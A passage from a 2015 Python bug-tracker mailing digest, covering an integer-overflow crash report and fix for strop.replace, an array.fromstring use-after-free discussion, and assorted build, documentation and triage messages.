EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

EXCEPTION_PARAMETER1:  00000001

EXCEPTION_PARAMETER2:  57096000

WRITE_ADDRESS:  57096000 

FOLLOWUP_IP: 
MSVCR90!memcpy+5a [f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm @ 188]
7026ae7a f3a5            rep movs dword ptr es:[edi],dword ptr [esi]

NTGLOBALFLAG:  470

APPLICATION_VERIFIER_FLAGS:  0

APP:  python.exe

ANALYSIS_VERSION: 6.3.9600.17029 (debuggers(dbg).140219-1702) x86fre

BUGCHECK_STR:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE

PRIMARY_PROBLEM_CLASS:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE

DEFAULT_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE

LAST_CONTROL_TRANSFER:  from 1e056efc to 7026ae7a

STACK_TEXT:  
0027fca0 1e056efc 5708fc94 01e37a7c 00015554 MSVCR90!memcpy+0x5a
0027fcd0 1e05700b 01e2ba4e 38e171c8 01d244cc python27!mymemreplace+0xfc
0027fd18 1e0aaed7 00000000 01cebe40 01de2c38 python27!strop_replace+0xbb
0027fd30 1e0edcc0 01de2c38 01cebe40 00000000 python27!PyCFunction_Call+0x47
0027fd5c 1e0f012a 0027fdb4 01ce6c80 01ce6c80 python27!call_function+0x2b0
0027fdcc 1e0f1100 01ddd9d0 00000000 01ce6c80 python27!PyEval_EvalFrameEx+0x239a
0027fe00 1e0f1162 01ce6c80 01ddd9d0 01ceaa50 python27!PyEval_EvalCodeEx+0x690
0027fe2c 1e1170ca 01ce6c80 01ceaa50 01ceaa50 python27!PyEval_EvalCode+0x22
0027fe44 1e118215 01dca090 01ceaa50 01ceaa50 python27!run_mod+0x2a
0027fe64 1e1187b0 702c7408 00342ebb 00000101 python27!PyRun_FileExFlags+0x75
0027fea4 1e119129 702c7408 00342ebb 00000001 python27!PyRun_SimpleFileExFlags+0x190
0027fec0 1e038cb5 702c7408 00342ebb 00000001 python27!PyRun_AnyFileExFlags+0x59
0027ff3c 1d00116d 00000002 00342e98 00341950 python27!Py_Main+0x965
0027ff80 74b97c04 7ffde000 74b97be0 b4e726fd python!__tmainCRTStartup+0x10f
0027ff94 7701ad1f 7ffde000 b723218a 00000000 KERNEL32!BaseThreadInitThunk+0x24
0027ffdc 7701acea ffffffff 77000212 00000000 ntdll!__RtlUserThreadStart+0x2f
0027ffec 00000000 1d001314 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND:  .cxr 0x0 ; kb

FAULTING_SOURCE_LINE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_FILE:  f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm

FAULTING_SOURCE_LINE_NUMBER:  188

FAULTING_SOURCE_CODE:  
No source found for 'f:\dd\vctools\crt_bld\SELF_X86\crt\src\INTEL\memcpy.asm'


SYMBOL_STACK_INDEX:  0

SYMBOL_NAME:  msvcr90!memcpy+5a

FOLLOWUP_NAME:  MachineOwner

MODULE_NAME: MSVCR90

IMAGE_NAME:  MSVCR90.dll

DEBUG_FLR_IMAGE_TIMESTAMP:  51ea24a5

FAILURE_BUCKET_ID:  STRING_DEREFERENCE_FILL_PATTERN_NXCODE_c0000005_MSVCR90.dll!memcpy

BUCKET_ID:  APPLICATION_FAULT_STRING_DEREFERENCE_INVALID_POINTER_WRITE_FILL_PATTERN_NXCODE_msvcr90!memcpy+5a

ANALYSIS_SOURCE:  UM

FAILURE_ID_HASH_STRING:  um:string_dereference_fill_pattern_nxcode_c0000005_msvcr90.dll!memcpy

FAILURE_ID_HASH:  {031149d8-0626-9042-d8b7-a1766b1c5514}

Followup: MachineOwner
---------

To fix the issue, mymemreplace should validate that the computed value new_len has not overflowed. To do this, (new_len - len) / nfound should be compared to sub_len - pat_len. If that are not equal, an overflow has occurred. Proposed patches for stropmodule.c and test_strop.py are attached.

----------
files: strop.replace_Integer_Overflow.patch
keywords: patch
messages: 247290
nosy: JohnLeitch
priority: normal
severity: normal
status: open
title: strop.replace Integer Overflow
type: security
versions: Python 2.7
Added file: http://bugs.python.org/file40006/strop.replace_Integer_Overflow.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 18:26:38 2015
From: report at bugs.python.org (John Leitch)
Date: Fri, 24 Jul 2015 16:26:38 +0000
Subject: [issue24708] strop.replace Integer Overflow
In-Reply-To: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>
Message-ID: <1437755198.97.0.535576849954.issue24708@psf.upfronthosting.co.za>


John Leitch added the comment:

Attaching repro.

----------
Added file: http://bugs.python.org/file40007/strop.replace_Integer_Overflow.py

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 18:32:54 2015
From: report at bugs.python.org (Carol Willing)
Date: Fri, 24 Jul 2015 16:32:54 +0000
Subject: [issue10708] Misc/porting should be folded into the development FAQ
 or the devguide
In-Reply-To: <1292427453.79.0.452399127359.issue10708@psf.upfronthosting.co.za>
Message-ID: <1437755574.16.0.714106704175.issue10708@psf.upfronthosting.co.za>


Carol Willing added the comment:

Thanks Berker for the commit review. 
Paul Anton Letnes, thanks for your contribution to the devguide. Nicely done.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 18:53:52 2015
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Fri, 24 Jul 2015 16:53:52 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437756832.36.0.0530789136783.issue24685@psf.upfronthosting.co.za>


?ric Araujo added the comment:

FWIW I once helped a friend combine OrderedDict and defaultdict:
https://gist.github.com/merwok/11268759

The behavior can be surprising if we don?t know what Raymond said about design choices in OrderedDict, but it was not hard (in the default+ordered case) to work around.

----------
nosy: +eric.araujo

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 19:29:44 2015
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 24 Jul 2015 17:29:44 +0000
Subject: [issue24707] Assertion failed in pymonotonic_new
In-Reply-To: <1437753217.88.0.997352550114.issue24707@psf.upfronthosting.co.za>
Message-ID: <1437758984.65.0.958861652426.issue24707@psf.upfronthosting.co.za>


STINNER Victor added the comment:

This buildbot runs in a VM. I need more information on the host (machine running the VM): OS, OS version, kernel version, hardware virtualization?, version of qemu/kvm?, etc.

It's probably a bug in the virtualization.

In the PEP 418, we decided to _not_ handle this error (monotonic clock running backward).

Maybe we should document the bug and remove the assertion (it only exists when Python is compiled in debug mode).

Note: I already saw this assertion error on the same buildbot.

http://buildbot.python.org/all/builders/AMD64%20Debian%20root%203.x/builds/2436/steps/test/logs/stdio

== CPython 3.6.0a0 (default:2825c87d3f72, Jul 25 2015, 01:29:19) [GCC 4.7.2]
==   Linux-3.2.0-4-amd64-x86_64-with-debian-7.7 little-endian
==   hash algorithm: siphash24 64bit
==   /root/buildarea/3.x.angelico-debian-amd64/build/build/test_python_27852

http://buildbot.python.org/all/buildslaves/angelico-debian-amd64

Slave information

* Buildbot-Slave 0.8.6p1
* Debian AMD64 running tests as root - VM with two Intel i5 cores

----------
nosy: +Chris

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 19:29:57 2015
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 24 Jul 2015 17:29:57 +0000
Subject: [issue24707] Assertion failed in pymonotonic_new
In-Reply-To: <1437753217.88.0.997352550114.issue24707@psf.upfronthosting.co.za>
Message-ID: <1437758997.19.0.633114013462.issue24707@psf.upfronthosting.co.za>


Changes by STINNER Victor :


----------
nosy:  -Chris

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 19:31:09 2015
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 24 Jul 2015 17:31:09 +0000
Subject: [issue24707] Assertion failed in pymonotonic_new
In-Reply-To: <1437753217.88.0.997352550114.issue24707@psf.upfronthosting.co.za>
Message-ID: <1437759069.68.0.853351818495.issue24707@psf.upfronthosting.co.za>


Changes by STINNER Victor :


----------
nosy: +Rosuav

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 19:40:09 2015
From: report at bugs.python.org (Eric Frederich)
Date: Fri, 24 Jul 2015 17:40:09 +0000
Subject: [issue24685] collections.OrderedDict collaborative subclassing
In-Reply-To: <1437584641.0.0.00317519120009.issue24685@psf.upfronthosting.co.za>
Message-ID: <1437759609.91.0.147615352417.issue24685@psf.upfronthosting.co.za>


Eric Frederich added the comment:

?ric (Araujo),

Combinding defaultdict and OrderedDict is a little easier since one of them (defaultdict) has special behavior on getitem while the other (OrderedDict) has special behavior on setitem.

I played with mixing those two myself and saw some issues and found that I had to explicitly call __init__ on both base classes to get them primed properly.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 19:43:56 2015
From: report at bugs.python.org (Chris Angelico)
Date: Fri, 24 Jul 2015 17:43:56 +0000
Subject: [issue24707] Assertion failed in pymonotonic_new
In-Reply-To: <1437753217.88.0.997352550114.issue24707@psf.upfronthosting.co.za>
Message-ID: <1437759836.38.0.232401972985.issue24707@psf.upfronthosting.co.za>


Chris Angelico added the comment:

The host is running Debian Jessie (newer than the Debian Wheezy of the VM).

Linux sikorsky 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt9-3~deb8u1 (2015-04-24) x86_64 GNU/Linux

What info are you after re hardware virtualization?

VirtualBox 4.3.28 r100309 manages the VM.

Any other information that would help?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 20:11:31 2015
From: report at bugs.python.org (Mark Summerfield)
Date: Fri, 24 Jul 2015 18:11:31 +0000
Subject: [issue20366] SQLite FTS (full text search)
In-Reply-To: <1390487950.26.0.724740577433.issue20366@psf.upfronthosting.co.za>
Message-ID: <1437761491.66.0.0570078934007.issue20366@psf.upfronthosting.co.za>


Changes by Mark Summerfield :


----------
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 20:18:09 2015
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 24 Jul 2015 18:18:09 +0000
Subject: [issue20366] SQLite FTS (full text search)
In-Reply-To: <1390487950.26.0.724740577433.issue20366@psf.upfronthosting.co.za>
Message-ID: <1437761889.04.0.922664505329.issue20366@psf.upfronthosting.co.za>


Changes by Zachary Ware :


----------
resolution:  -> wont fix
stage:  -> resolved

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 20:23:27 2015
From: report at bugs.python.org (John Leitch)
Date: Fri, 24 Jul 2015 18:23:27 +0000
Subject: [issue24613] array.fromstring Use After Free
In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za>
Message-ID: <1437762206.98.0.216766848458.issue24613@psf.upfronthosting.co.za>


John Leitch added the comment:

I understand the desire for consistency and I will create such a patch when I get some slack space (hopefully tonight), but I believe it will constitute a breaking change; in 2.7, passing self to array.fromstring works as expected most of the time.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 20:45:00 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 24 Jul 2015 18:45:00 +0000
Subject: [issue24613] array.fromstring Use After Free
In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za>
Message-ID: <1437763500.5.0.201320226173.issue24613@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

This is not about consistency, this is about that don't encourage users to write new code incompatible with 3.x. For now passing self to array.fromstring() doesn't work in 3.x and doesn't work (sporadically crashes) and never worked in 2.7.

What you think about this Benjamin?

----------
nosy: +benjamin.peterson

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 21:43:54 2015
From: report at bugs.python.org (Zachary Ware)
Date: Fri, 24 Jul 2015 19:43:54 +0000
Subject: [issue24709] Unix build uses '-Wno-unused-result',
 which icc doesn't recognize
Message-ID: <1437767034.87.0.232698584454.issue24709@psf.upfronthosting.co.za>


New submission from Zachary Ware:

It would be nice to leave out '-Wno-unused-result' when CC=icc to prevent superfluous warnings like:

icc: command line warning #10006: ignoring unknown option '-Wno-unused-result'

----------
components: Build
messages: 247299
nosy: zach.ware
priority: low
severity: normal
stage: needs patch
status: open
title: Unix build uses '-Wno-unused-result', which icc doesn't recognize
type: behavior
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Fri Jul 24 22:07:29 2015
From: report at bugs.python.org (John Leitch)
Date: Fri, 24 Jul 2015 20:07:29 +0000
Subject: [issue24613] array.fromstring Use After Free
In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za>
Message-ID: <1437768449.17.0.756331576394.issue24613@psf.upfronthosting.co.za>


John Leitch added the comment:

To clarify one point, passing self to array.fromstring works as expected almost all the time in 2.7. My testing revealed anomalous behavior <1% of the time, and it was almost always non-fatal corruption of the buffer. It stands to reason that legacy code may exist that relies on similar operations, and such code would be broken by the requested change.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 00:57:05 2015
From: report at bugs.python.org (Berker Peksag)
Date: Fri, 24 Jul 2015 22:57:05 +0000
Subject: [issue24710] Class name hardcoded in
 TracebackException.from_exception()
Message-ID: <1437778625.24.0.630527994303.issue24710@psf.upfronthosting.co.za>


New submission from Berker Peksag:

Here is a patch that changes to use cls() instead of hardcoded TracebackException.

Serhiy also suggested on IRC to use the from_exception() classmethod in TracebackException's __init__ method.

----------
components: Library (Lib)
files: classmethod.diff
keywords: patch
messages: 247301
nosy: berker.peksag, rbcollins, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Class name hardcoded in TracebackException.from_exception()
type: enhancement
versions: Python 3.5, Python 3.6
Added file: http://bugs.python.org/file40008/classmethod.diff

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 01:12:11 2015
From: report at bugs.python.org (Markus Unterwaditzer)
Date: Fri, 24 Jul 2015 23:12:11 +0000
Subject: [issue24711] Document getpass.getpass behavior on ^C
Message-ID: <1437779531.88.0.954988782388.issue24711@psf.upfronthosting.co.za>


New submission from Markus Unterwaditzer:

getpass.getpass doesn't enter a newline when the user aborts input with ^C, while input/raw_input does.

This behavior is surprising and can lead to mis-formatting of subsequent output. However, since this behavior exists since 2.7 and applications may have started to rely on it, I'd add a note to the documentation.

----------
assignee: docs at python
components: Documentation
messages: 247302
nosy: docs at python, untitaker
priority: normal
severity: normal
status: open
title: Document getpass.getpass behavior on ^C
versions: Python 2.7, Python 3.2, Python 3.3, Python 3.4, Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 01:19:04 2015
From: report at bugs.python.org (Biwin John)
Date: Fri, 24 Jul 2015 23:19:04 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
Message-ID: <1437779944.76.0.292855724616.issue24712@psf.upfronthosting.co.za>


Changes by Biwin John :


----------
assignee: docs at python
components: Documentation
nosy: Biwin John, docs at python
priority: normal
severity: normal
status: open
title: Docs page's sidebar vibrates on mouse wheel scroll on Chrome.
type: behavior
versions: Python 2.7

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 01:22:07 2015
From: report at bugs.python.org (Biwin John)
Date: Fri, 24 Jul 2015 23:22:07 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
Message-ID: <1437780127.19.0.0270083299372.issue24712@psf.upfronthosting.co.za>


New submission from Biwin John:

The sidebar on the documentation pages ex. https://docs.python.org/2/library/collections.html vibrates/flashes on mouse wheel scroll. 
The sidebar with class sphinxsidebar, works okay when scrolling with the scrollbar, Firefox but not with mouse wheel on Chrome.


please consider fixing it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 01:26:26 2015
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 24 Jul 2015 23:26:26 +0000
Subject: [issue24603] Update OpenSSL to 1.0.2d in Windows and OS X installer
In-Reply-To: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za>
Message-ID: <20150724232621.9236.72645@psf.io>


Roundup Robot added the comment:

New changeset 7ba239d4efbb by Ned Deily in branch '2.7':
Issue #24603: Update the OS X 32-bit installer build to use OpenSSL 1.0.2d.
https://hg.python.org/cpython/rev/7ba239d4efbb

New changeset 436b8902b305 by Ned Deily in branch '3.4':
Issue #24603: Update the OS X 32-bit installer build to use OpenSSL 1.0.2d.
https://hg.python.org/cpython/rev/436b8902b305

New changeset 78254d483573 by Ned Deily in branch '3.5':
Issue #24603: merge from 3.4
https://hg.python.org/cpython/rev/78254d483573

New changeset d205e7e5f9aa by Ned Deily in branch 'default':
Issue #24603: merge from 3.5
https://hg.python.org/cpython/rev/d205e7e5f9aa

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 01:27:50 2015
From: report at bugs.python.org (Ned Deily)
Date: Fri, 24 Jul 2015 23:27:50 +0000
Subject: [issue24603] Update OpenSSL to 1.0.2d in Windows and OS X installer
In-Reply-To: <1436521134.84.0.691261110341.issue24603@psf.upfronthosting.co.za>
Message-ID: <1437780470.71.0.673169220374.issue24603@psf.upfronthosting.co.za>


Changes by Ned Deily :


----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 02:47:22 2015
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 25 Jul 2015 00:47:22 +0000
Subject: [issue24539] StreamReaderProtocol.eof_received() should return True
 to keep the transport open
In-Reply-To: <1435668886.87.0.254771488213.issue24539@psf.upfronthosting.co.za>
Message-ID: <20150725004719.110067.8683@psf.io>


Roundup Robot added the comment:

New changeset fc1d40a706e7 by Victor Stinner in branch '3.4':
asyncio: sync with github
https://hg.python.org/cpython/rev/fc1d40a706e7

----------
nosy: +python-dev

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 02:52:31 2015
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 25 Jul 2015 00:52:31 +0000
Subject: [issue24539] StreamReaderProtocol.eof_received() should return True
 to keep the transport open
In-Reply-To: <1435668886.87.0.254771488213.issue24539@psf.upfronthosting.co.za>
Message-ID: <1437785551.96.0.557717290126.issue24539@psf.upfronthosting.co.za>


STINNER Victor added the comment:

> but it still needs a unittest and merging into CPython 3.4 and up.

I did this part.

By the way, running unit tests now logs two warnings on SSL tests, because returning True has no effect on SSL. We may just remove the warning at runtime and ensure that it's well documented instead. What do you think?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 03:28:21 2015
From: report at bugs.python.org (Carol Willing)
Date: Sat, 25 Jul 2015 01:28:21 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
In-Reply-To: <1437780127.19.0.0270083299372.issue24712@psf.upfronthosting.co.za>
Message-ID: <1437787701.44.0.467061006813.issue24712@psf.upfronthosting.co.za>


Carol Willing added the comment:

Biwan John, thanks for the issue report.

I can confirm that there is jitter due to scroll speed lag in Chrome for Python 2.7 docs. This behavior does not happen with Python 3.x docs. No issues with Firefox.

I am using Mac OS X 10.10 with up-to-date Chrome and Firefox.

I believe that this is likely a Chrome scroll issue and not a Python docs or Sphinx issue.

I have triaged this as "needs patch" in case someone is aware of a workaround to resolve. If this is still open after a month, I would recommend closing the issue as a "third party" issue

----------
nosy: +willingc
priority: normal -> low
stage:  -> needs patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 03:56:13 2015
From: report at bugs.python.org (Ned Deily)
Date: Sat, 25 Jul 2015 01:56:13 +0000
Subject: [issue12978] Figure out extended attributes on BSDs
In-Reply-To: <1316014526.21.0.982877507813.issue12978@psf.upfronthosting.co.za>
Message-ID: <1437789373.85.0.847827262356.issue12978@psf.upfronthosting.co.za>


Ned Deily added the comment:

There certainly is interest in supporting extended attributes on additional platforms.  Thanks for the patch, William, and the positive comments, Billy.  Since this probably falls into the category of new feature, it should be targeted for 3.6, now that 3.5 is in feature-freeze and nearing release.  The gating factor is getting a core developer to review and champion it.

----------
stage:  -> patch review
versions: +Python 3.6 -Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 04:07:22 2015
From: report at bugs.python.org (Ned Deily)
Date: Sat, 25 Jul 2015 02:07:22 +0000
Subject: [issue14373] C implementation of functools.lru_cache
In-Reply-To: <1332250846.11.0.753199667334.issue14373@psf.upfronthosting.co.za>
Message-ID: <1437790042.03.0.634700023857.issue14373@psf.upfronthosting.co.za>


Ned Deily added the comment:

Sorry about the delay in testing the patch.  I just confirmed (1) that I am still able to produce a segfault on OS X as described above under the specific conditions with a 10.6-like installer built with the current 3.5 tip and (2) that, with clru_cache_new.patch applied to the same current 3.5 tip, I no longer see the segfault.  So it looks like a fix.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 05:18:26 2015
From: report at bugs.python.org (Russell Keith-Magee)
Date: Sat, 25 Jul 2015 03:18:26 +0000
Subject: [issue23496] Steps for Android Native Build of Python 3.4.2
In-Reply-To: <1424551617.0.0.291471450783.issue23496@psf.upfronthosting.co.za>
Message-ID: <1437794306.74.0.598934214039.issue23496@psf.upfronthosting.co.za>


Russell Keith-Magee added the comment:

Are you using the libffi sources vendored into the Python source tree, or a more recent version? I can verify that libffi v3.2 works on ARMv7 (on iOS, anyway), and there's been plenty of changes to the ARM source tree since the Python version was vendored in.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 05:42:40 2015
From: report at bugs.python.org (Ned Deily)
Date: Sat, 25 Jul 2015 03:42:40 +0000
Subject: [issue24646] Python accepts SSL certificate that should be rejected
 on OSX
In-Reply-To: <1437073473.95.0.43689019383.issue24646@psf.upfronthosting.co.za>
Message-ID: <1437795760.46.0.703712971354.issue24646@psf.upfronthosting.co.za>


Ned Deily added the comment:

Ronald, FWIW, your test program seems to work without crashing on both 10.6 and 10.8; not surprisingly, it failed to compile on 10.5 (no 'errSecSuccess').

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 05:47:52 2015
From: report at bugs.python.org (Ned Deily)
Date: Sat, 25 Jul 2015 03:47:52 +0000
Subject: [issue24647] Document argparse.REMAINDER as being equal to "..."
In-Reply-To: <1437079645.1.0.921184801927.issue24647@psf.upfronthosting.co.za>
Message-ID: <1437796072.76.0.853361259095.issue24647@psf.upfronthosting.co.za>


Changes by Ned Deily :


----------
assignee:  -> docs at python
components: +Documentation -Library (Lib)
nosy: +bethard, docs at python
versions: +Python 2.7, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 06:18:53 2015
From: report at bugs.python.org (Benjamin Peterson)
Date: Sat, 25 Jul 2015 04:18:53 +0000
Subject: [issue24613] array.fromstring Use After Free
In-Reply-To: <1436661170.45.0.692345093126.issue24613@psf.upfronthosting.co.za>
Message-ID: <1437797933.64.0.977696792983.issue24613@psf.upfronthosting.co.za>


Benjamin Peterson added the comment:

I think it should raise an exception. It's hard to feel too bad about preventing corruption even if only "occasional".

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 07:16:46 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 05:16:46 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
In-Reply-To: <1437780127.19.0.0270083299372.issue24712@psf.upfronthosting.co.za>
Message-ID: <1437801406.22.0.742216805425.issue24712@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
nosy: +ezio.melotti

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 07:27:52 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 05:27:52 +0000
Subject: [issue24708] strop.replace Integer Overflow
In-Reply-To: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>
Message-ID: <1437802072.05.0.0653140635854.issue24708@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

The patch looks truncated at 120th column.

----------
assignee:  -> serhiy.storchaka
components: +Extension Modules
nosy: +serhiy.storchaka
stage:  -> patch review
type: security -> crash

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 07:53:25 2015
From: report at bugs.python.org (John Leitch)
Date: Sat, 25 Jul 2015 05:53:25 +0000
Subject: [issue24708] strop.replace Integer Overflow
In-Reply-To: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>
Message-ID: <1437803605.33.0.0420106384999.issue24708@psf.upfronthosting.co.za>


Changes by John Leitch :


Removed file: http://bugs.python.org/file40006/strop.replace_Integer_Overflow.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 07:55:08 2015
From: report at bugs.python.org (John Leitch)
Date: Sat, 25 Jul 2015 05:55:08 +0000
Subject: [issue24708] strop.replace Integer Overflow
In-Reply-To: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>
Message-ID: <1437803708.46.0.383114071076.issue24708@psf.upfronthosting.co.za>


John Leitch added the comment:

Oops. Here's a corrected patch.

----------
Added file: http://bugs.python.org/file40009/strop.replace_Integer_Overflow.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 08:12:45 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 06:12:45 +0000
Subject: [issue24708] strop.replace Integer Overflow
In-Reply-To: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>
Message-ID: <1437804765.35.0.528234344014.issue24708@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Here is modified patch. In new code we try to avoid integer wrap around. It is safer to raise MemoryError right after PyMem_MALLOC(), otherwise it would possible to reraise unrelated exception instead MemoryError if strop.replace() is called without clearing current exception (should never happen, but...). Error message made consistent with str.replace().

----------
Added file: http://bugs.python.org/file40010/strop.replace_Integer_Overflow_2.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 08:25:59 2015
From: report at bugs.python.org (Roundup Robot)
Date: Sat, 25 Jul 2015 06:25:59 +0000
Subject: [issue24708] strop.replace Integer Overflow
In-Reply-To: <1437755180.21.0.715068940174.issue24708@psf.upfronthosting.co.za>
Message-ID: <20150725062554.97479.58938@psf.io>


Roundup Robot added the comment:

New changeset 7b5513e5afd2 by Benjamin Peterson in branch '2.7':
proper overflow checks for mymemreplace (closes #24708)
https://hg.python.org/cpython/rev/7b5513e5afd2

----------
nosy: +python-dev
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 08:30:31 2015
From: report at bugs.python.org (asal ada)
Date: Sat, 25 Jul 2015 06:30:31 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
In-Reply-To: <1437780127.19.0.0270083299372.issue24712@psf.upfronthosting.co.za>
Message-ID: <1437805831.23.0.931666845939.issue24712@psf.upfronthosting.co.za>


Changes by asal ada :


----------
components: +2to3 (2.x to 3.x conversion tool), Benchmarks, Build, Cross-Build, Demos and Tools, IO, Installation, Interpreter Core, Library (Lib), Tests, Unicode, Windows, XML, email
nosy: +barry, haypo, paul.moore, r.david.murray, steve.dower, tim.golden, zach.ware

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 08:36:51 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 06:36:51 +0000
Subject: [issue11872] cPickle gives strange error for large objects.
In-Reply-To: <1303200362.9.0.587954333494.issue11872@psf.upfronthosting.co.za>
Message-ID: <1437806211.68.0.892952802536.issue11872@psf.upfronthosting.co.za>


Serhiy Storchaka added the comment:

Is this issue still actual?

----------
nosy: +serhiy.storchaka
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 08:42:18 2015
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sat, 25 Jul 2015 06:42:18 +0000
Subject: [issue2263] struct.pack() + numpy int raises SystemError
In-Reply-To: <1205134764.8.0.415620235375.issue2263@psf.upfronthosting.co.za>
Message-ID: <1437806538.0.0.267013964424.issue2263@psf.upfronthosting.co.za>


Changes by Serhiy Storchaka :


----------
status: open -> pending

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sat Jul 25 08:59:03 2015
From: report at bugs.python.org (Steve Dower)
Date: Sat, 25 Jul 2015 06:59:03 +0000
Subject: [issue24712] Docs page's sidebar vibrates on mouse wheel scroll on
 Chrome.
In-Reply-To: <1437780127.19.0.0270083299372.issue24712@psf.upfronthosting.co.za>
Message-ID: <1437807543.76.0.912294330985.issue24712@psf.upfronthosting.co.za>


Changes by Steve Dower :


----------
components:  -2to3 (2.x to 3.x conversion tool), Benchmarks, Build, Cross-Build, Demos and Tools, IO, Installation, Interpreter Core, Library (Lib), Tests, Unicode, Windows, XML, email
nosy:  -steve.dower

_______________________________________
Python tracker 

